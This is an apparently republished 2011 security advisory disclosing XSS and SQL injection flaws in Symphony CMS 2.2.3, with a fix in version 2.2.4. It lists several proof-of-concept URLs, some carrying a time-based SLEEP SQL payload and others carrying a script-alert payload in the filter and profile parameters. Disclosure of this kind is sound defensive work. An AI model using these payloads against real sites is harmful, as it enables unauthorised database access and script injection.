XSS and SQL Injection Vulnerabilities on Symphony CMS 2.2.3

2011-11-06T00:00:00
ID SECURITYVULNS:DOC:27274
Type securityvulns
Reporter Securityvulns
Modified 2011-11-06T00:00:00

Description

Information

Name : XSS and SQL Injection Vulnerabilities on Symphony CMS Software : Symphony CMS 2.2.3 and possibly below Vendor Homepage : http://symphony-cms.com Vulnerability Type : Cross-Site Scripting and SQL Injection Severity : Critical Researcher : Mesut Timur <mesut [at] mavitunasecurity [dot] com> Advisory Reference : NS-11-008

Description

Symphony is a web-based content management system (CMS) that enables users to create and manage websites and web applications of all shapes and sizes—from the simplest of blogs to bustling news sites and feature-packed social networks.

Details

Symphony is affected by several XSS and SQL Injection vulnerabilities. Example PoC urls are as follows :

http://example.com/symphony/publish/comments/?filter=&#39;+&#40;SELECT+1+FROM+&#40;SELECT+SLEEP&#40;25&#41;&#41;A&#41;+&#39;
http://example.com/symphony/publish/images/?filter=&#39;+&#40;SELECT+1+FROM+&#40;SELECT+SLEEP&#40;25&#41;&#41;A&#41;+&#39;
http://example.com/?profile=&#39;&quot;--&gt;&lt;/style&gt;&lt;/script&gt;&lt;script&gt;alert&#40;1&#41;&lt;/script&gt;
http://example.com/symphony/publish/comments/?filter=&#39;&quot;--&gt;&lt;/style&gt;&lt;/script&gt;&lt;script&gt;alert&#40;1&#41;&lt;/script&gt;
http://example.com/symphony/publish/images/?filter=&#39;&quot;--&gt;&lt;/style&gt;&lt;/script&gt;&lt;script&gt;alert&#40;1&#41;&lt;/script&gt;
http://example.com/about/?profile=&#39;&quot;--&gt;&lt;/style&gt;&lt;/script&gt;&lt;script&gt;alert&#40;1&#41;&lt;/script&gt;
http://example.com/drafts/?profile=&#39;&quot;--&gt;&lt;/style&gt;&lt;/script&gt;&lt;script&gt;alert&#40;1&#41;&lt;/script&gt;

You can read the full article about Cross-Site Scripting and SQL Injection vulnerabilities from here :

http://www.mavitunasecurity.com/crosssite-scripting-xss/ http://www.mavitunasecurity.com/sql-injection/

Solution

Upgrade to the latest Symphony version (2.2.4).

Credits

It has been discovered on testing of Netsparker, Web Application Security Scanner - http://www.mavitunasecurity.com/netsparker/.

References

  1. Vendor URL: http://symphony-cms.com/download/releases/version/2.2.4/
  2. Netsparker Advisories : http://www.mavitunasecurity.com/netsparker-advisories/
  3. MSL Advisory : http://www.mavitunasecurity.com/xss-and-sql-injection-vulnerabilities-in-symphony-cms/

About Netsparker

Netsparker® can find and report security issues such as SQL Injection and Cross-site Scripting (XSS) in all web applications regardless of the platform and the technology they are built on. Netsparker's unique detection and exploitation techniques allows it to be dead accurate in reporting hence it's the first and the only False Positive Free web application security scanner.